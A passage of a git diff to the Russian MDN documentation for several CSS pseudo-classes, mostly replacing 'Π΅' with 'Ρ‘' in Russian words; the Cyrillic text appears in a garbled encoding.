+<p>Π­Ρ‚ΠΎΡ‚ псСвдокласс ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π½ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΉ спСцификации, хотя ΠΈ ΠΏΡ€ΠΎΡˆΡ‘Π» этап обсуТдСния Π² Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Π³Ρ€ΡƒΠΏΠΏΠ΅. По Π΅Π³ΠΎ ΠΈΡ‚ΠΎΠ³Π°ΠΌ Π±Ρ‹Π»ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΎ внСсти Π΅Π³ΠΎ Π² Π³Ρ€ΡƒΠΏΠΏΡƒ сСлСкторов 4 ΠΈΠ»ΠΈ 5.</p>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html
index 48c095accb..83a7a93462 100644
--- a/files/ru/web/css/_colon_-moz-only-whitespace/index.html
+++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html
@@ -72,7 +72,7 @@ div {
<tr>
<td>{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}</td>
<td>{{Spec2("CSS4 Selectors")}}</td>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html
index 95ede05087..839d8323c6 100644
--- a/files/ru/web/css/_colon_any-link/index.html
+++ b/files/ru/web/css/_colon_any-link/index.html
@@ -5,7 +5,7 @@ tags:
- ':any-link'
- CSS
- Web
- - ВСрстка
+ - Вёрстка
- ГипСрссылки
- Π‘ΠΏΡ€Π°Π²ΠΊΠ°
- Бсылки
diff --git a/files/ru/web/css/_colon_default/index.html b/files/ru/web/css/_colon_default/index.html
index 45ac8c1819..e13201061e 100644
--- a/files/ru/web/css/_colon_default/index.html
+++ b/files/ru/web/css/_colon_default/index.html
@@ -14,7 +14,7 @@ input:default {
background-color: lime;
}</pre>
-<p>Π‘Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ мноТСствСнный Π²Ρ‹Π±ΠΎΡ€, Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько элСмСнтов, Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ этом случаС псСвдокласс <code>:default</code>Β Π½Π°ΠΉΠ΄Π΅Ρ‚Β <em>всС</em> эти элСмСнты. НапримСр, ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ чСкбоксы ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π³Ρ€ΡƒΠΏΠΏΠ΅ чСкбоксов.</p>
+<p>Π‘Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ мноТСствСнный Π²Ρ‹Π±ΠΎΡ€, Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько элСмСнтов, Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ этом случаС псСвдокласс <code>:default</code>Β Π½Π°ΠΉΠ΄Ρ‘Ρ‚Β <em>всС</em> эти элСмСнты. НапримСр, ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ чСкбоксы ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π³Ρ€ΡƒΠΏΠΏΠ΅ чСкбоксов.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/css/_colon_dir/index.html b/files/ru/web/css/_colon_dir/index.html
index 09422f6f13..4cf0bccb4b 100644
--- a/files/ru/web/css/_colon_dir/index.html
+++ b/files/ru/web/css/_colon_dir/index.html
@@ -19,7 +19,7 @@ translation_of: 'Web/CSS/:dir'
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ HTML, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ задаСтся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌΒ {{htmlattrxref("dir")}}.Β Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ HTML, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ задаётся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌΒ {{htmlattrxref("dir")}}.Β Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹.</p>
</div>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/css/_colon_disabled/index.html b/files/ru/web/css/_colon_disabled/index.html
index 86a34bd10a..0c5812445b 100644
--- a/files/ru/web/css/_colon_disabled/index.html
+++ b/files/ru/web/css/_colon_disabled/index.html
@@ -9,7 +9,7 @@ translation_of: 'Web/CSS/:disabled'
<h2 id="ОписаниС">ОписаниС</h2>
-<p>CSS <a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="Pseudo-classes">псСвдокласс</a> <code>:disabled</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ любой ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ элСмСнт. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½, Ссли Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΅Π³ΠΎ нСльзя Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° Π½Π΅Π³ΠΎ ΠΈΠ»ΠΈ ввСсти тСкст) ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ фокус. Π£ элСмСнта Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ состояниС, ΠΊΠΎΠ³Π΄Π° Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>CSS <a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="Pseudo-classes">псСвдокласс</a> <code>:disabled</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ любой ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½, Ссли Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΅Π³ΠΎ нСльзя Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° Π½Π΅Π³ΠΎ ΠΈΠ»ΠΈ ввСсти тСкст) ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ фокус. Π£ элСмСнта Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ состояниС, ΠΊΠΎΠ³Π΄Π° Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -17,9 +17,9 @@ translation_of: 'Web/CSS/:disabled'
<dl>
<dt>input:disabled</dt>
- <dd>Π’Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ поля Π²Π²ΠΎΠ΄Π°</dd>
+ <dd>Π’Ρ‹Π±Π΅Ρ€Π΅Ρ‚ всС ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ поля Π²Π²ΠΎΠ΄Π°</dd>
<dt>select.country:disabled</dt>
- <dd>Найдёт всС ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ <code>select</code> элСмСнты с классом <code>country</code></dd>
+ <dd>Найдёт всС ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ <code>select</code> элСмСнты с классом <code>country</code></dd>
</dl>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_использования">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования</h3>
diff --git a/files/ru/web/css/_colon_enabled/index.html b/files/ru/web/css/_colon_enabled/index.html
index 7e83a52a5d..99e4402da0 100644
--- a/files/ru/web/css/_colon_enabled/index.html
+++ b/files/ru/web/css/_colon_enabled/index.html
@@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:enabled'
<h2 id="ОписаниС">ОписаниС</h2>
-<p>CSS <a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="Pseudo-classes">псСвдокласс</a> <code>:enabled</code>Β Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ любой Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ элСмСнт. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, Ссли Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° Π½Π΅Π³ΠΎ ΠΈΠ»ΠΈ ввСсти тСкст) ΠΈΠ»ΠΈ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ фокус. Π£ элСмСнта Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ состояниС, ΠΊΠΎΠ³Π΄Π° Π΅Π³ΠΎ нСльзя Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>CSS <a href="/ru/docs/Web/CSS/ПсСвдо-классы" title="Pseudo-classes">псСвдокласс</a> <code>:enabled</code>Β Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ любой Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, Ссли Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° Π½Π΅Π³ΠΎ ΠΈΠ»ΠΈ ввСсти тСкст) ΠΈΠ»ΠΈ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ фокус. Π£ элСмСнта Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ состояниС, ΠΊΠΎΠ³Π΄Π° Π΅Π³ΠΎ нСльзя Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/css/_colon_first-child/index.html b/files/ru/web/css/_colon_first-child/index.html
index d31fc8acd2..927a3a5098 100644
--- a/files/ru/web/css/_colon_first-child/index.html
+++ b/files/ru/web/css/_colon_first-child/index.html
@@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:first-child'
<pre class="brush: css no-line-numbers">&gt;
/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой &lt;p&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ элСмСнтом
- срСди своих Π±Ρ€Π°Ρ‚ΡŒΠ΅Π² ΠΈ сСстСр */
+ срСди своих Π±Ρ€Π°Ρ‚ΡŒΠ΅Π² ΠΈ сСстёр */
p:first-child {
color: lime;
}</pre>
diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html
index 3156d5c66e..a509c175d3 100644
--- a/files/ru/web/css/_colon_focus-visible/index.html
+++ b/files/ru/web/css/_colon_focus-visible/index.html
@@ -17,7 +17,7 @@ translation_of: 'Web/CSS/:focus-visible'
<h3 id="Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ сСлСктор <code>:focus-visible</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ UA, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ. Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ‰Π΅Π»ΠΊΠ°Π΅Ρ‚Π΅ ΠΌΡ‹ΡˆΡŒΡŽ ΠΏΠΎ Ρ€Π°Π·Π½Ρ‹ΠΌ элСмСнтам управлСния, ΠΈ Ρ‡Ρ‚ΠΎ происходит ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΏΠΎ Π½ΠΈΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ Π² ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ элСмСнтов, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>:focus</code>.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ сСлСктор <code>:focus-visible</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ UA, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ. Π‘Ρ€Π°Π²Π½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ‰Ρ‘Π»ΠΊΠ°Π΅Ρ‚Π΅ ΠΌΡ‹ΡˆΡŒΡŽ ΠΏΠΎ Ρ€Π°Π·Π½Ρ‹ΠΌ элСмСнтам управлСния, ΠΈ Ρ‡Ρ‚ΠΎ происходит ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΏΠΎ Π½ΠΈΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ Π² ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ элСмСнтов, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>:focus</code>.</p>
<pre class="brush: html notranslate">&lt;input value="Default styles"&gt;&lt;br&gt;
&lt;button&gt;Default styles&lt;/button&gt;&lt;br&gt;
diff --git a/files/ru/web/css/_colon_focus/index.html b/files/ru/web/css/_colon_focus/index.html
index 206b74a0e9..af809f7761 100644
--- a/files/ru/web/css/_colon_focus/index.html
+++ b/files/ru/web/css/_colon_focus/index.html
@@ -102,7 +102,7 @@ input:focus {
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("css.selectors.focus")}}</p>
</div>
diff --git a/files/ru/web/css/_colon_fullscreen/index.html b/files/ru/web/css/_colon_fullscreen/index.html
index 5dc0c1afec..c527af137f 100644
--- a/files/ru/web/css/_colon_fullscreen/index.html
+++ b/files/ru/web/css/_colon_fullscreen/index.html
@@ -2,7 +2,7 @@
title: ':fullscreen'
slug: 'Web/CSS/:fullscreen'
tags:
- - ВСрстка
+ - Вёрстка
- полноэкранный Ρ€Π΅ΠΆΠΈΠΌ
- псСвдокласс
- экран
@@ -36,7 +36,7 @@ translation_of: 'Web/CSS/:fullscreen'
&lt;button id="fs-toggle"&gt;Toggle Fullscreen&lt;/button&gt;</pre>
-<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> Π±ΡƒΠ΄Π΅Ρ‚ измСнятся ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π»Π΅Π΄Π½ΠΎ-красный ΠΈ Π±Π»Π΅Π΄Π½ΠΎ-Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, находится Π»ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅.</p>
+<p>{{HTMLElement("button")}} с ID <code>"fs-toggle"</code> Π±ΡƒΠ΄Π΅Ρ‚ измСнятся ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Π»Π΅Π΄Π½ΠΎ-красный ΠΈ Π±Π»Π΅Π΄Π½ΠΎ-Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, находится Π»ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅.</p>
<h3 id="CSS">CSS</h3>
diff --git a/files/ru/web/css/_colon_indeterminate/index.html b/files/ru/web/css/_colon_indeterminate/index.html
index d4cf598129..e601e36af1 100644
--- a/files/ru/web/css/_colon_indeterminate/index.html
+++ b/files/ru/web/css/_colon_indeterminate/index.html
@@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:indeterminate'
<p><a href="/ru/docs/Web/CSS">CSS</a><a href="/ru/docs/Web/CSS/ПсСвдо-классы"> псСвдокласс</a>Β <strong><code>:indeterminate</code></strong> находит элСмСнты в Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ состоянии.</p>
-<pre class="brush: css no-line-numbers">/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты &lt;input&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ состоянии */
+<pre class="brush: css no-line-numbers">/* Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС элСмСнты &lt;input&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ состоянии */
input:indeterminate {
background: lime;
}</pre>
@@ -32,7 +32,7 @@ input:indeterminate {
<h3 id="ЧСкбокс_ΠΈ_Ρ€Π°Π΄ΠΈΠΎ_ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΠΈ">ЧСкбокс ΠΈ Ρ€Π°Π΄ΠΈΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΠΈ</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ стили ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ привязаны ΠΊ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ полям Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ стили ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ привязаны ΠΊ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ полям Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<h4 id="HTML">HTML</h4>
diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html
index cd8f1848d1..d365dfa795 100644
--- a/files/ru/web/css/_colon_is/index.html
+++ b/files/ru/web/css/_colon_is/index.html
@@ -11,7 +11,7 @@ translation_of: 'Web/CSS/:is'
<p><strong><code>:is()</code></strong> это функция <a href="/ru/docs/Web/CSS">псСвдокласс CSS</a>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰Π°ΡΒ ΡΠΏΠΈΡΠΎΠΊ сСлСкторов ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΈ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ любой элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· сСлСкторов Π² этом спискС. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ пСрСписи ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Ρ… сСлСкторов Π² Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ.</p>
